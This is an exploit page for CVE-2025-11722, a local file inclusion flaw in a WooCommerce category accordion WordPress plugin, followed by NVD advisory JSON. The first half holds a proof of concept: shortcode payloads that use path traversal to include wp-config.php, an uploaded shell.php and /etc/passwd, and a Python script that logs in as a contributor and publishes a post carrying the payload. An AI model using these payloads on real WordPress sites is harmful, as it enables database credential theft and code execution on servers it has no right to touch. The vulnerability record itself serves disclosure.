CVE-2025-11722

<!-- CVE-2025-11722 - Local File Inclusion PoC via categoryaccordionpanel shortcode --> <!-- Attacker needs at least Contributor-level WordPress access --> <!-- PoC 1: Include wp-config.php to extract database credentials --> [categoryaccordionpanel file="../../../wp-config.php"] <!-- PoC 2: Include a previously uploaded malicious PHP file (e.g., via media upload) --> [categoryaccordionpanel file="../../../wp-content/uploads/2025/10/shell.php"] <!-- PoC 3: Path traversal to include arbitrary PHP files on the server --> [categoryaccordionpanel file="../../../../etc/passwd"] <!-- Full exploitation workflow (Python example): import requests TARGET = "http://target-wordpress-site.com" USERNAME = "attacker_contributor" PASSWORD = "password123" session = requests.Session() # Step 1: Login as Contributor login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET}/wp-admin/post-new.php", "testcookie": "1" } session.post(f"{TARGET}/wp-login.php", data=login_data) # Step 2: Create a new post with malicious shortcode post_data = { "post_title": "Test Post", "post_content": '[categoryaccordionpanel file="../../../wp-config.php"]', "post_status": "publish", "post_type": "post" } session.post(f"{TARGET}/wp-admin/post.php", data=post_data) print("Malicious post published, LFI triggered upon page render") -->

{"cve": {"id": "CVE-2025-11722", "sourceIdentifier": "[email protected]", "published": "2025-10-15T09:15:43.110", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Woocommerce Category and Products Accordion Panel plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.0 via the 'categoryaccordionpanel' shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/accordion-panel-for-category-and-products/tags/1.0/include/abstract.php#L256", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/accordion-panel-for-category-and-products/tags/1.0/include/categoryaccordionpanel.php#L87", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/55315ba1-cbb8-4ce1-96c6-30a02611ba47?source=cve", "source": "[email protected]"}]}}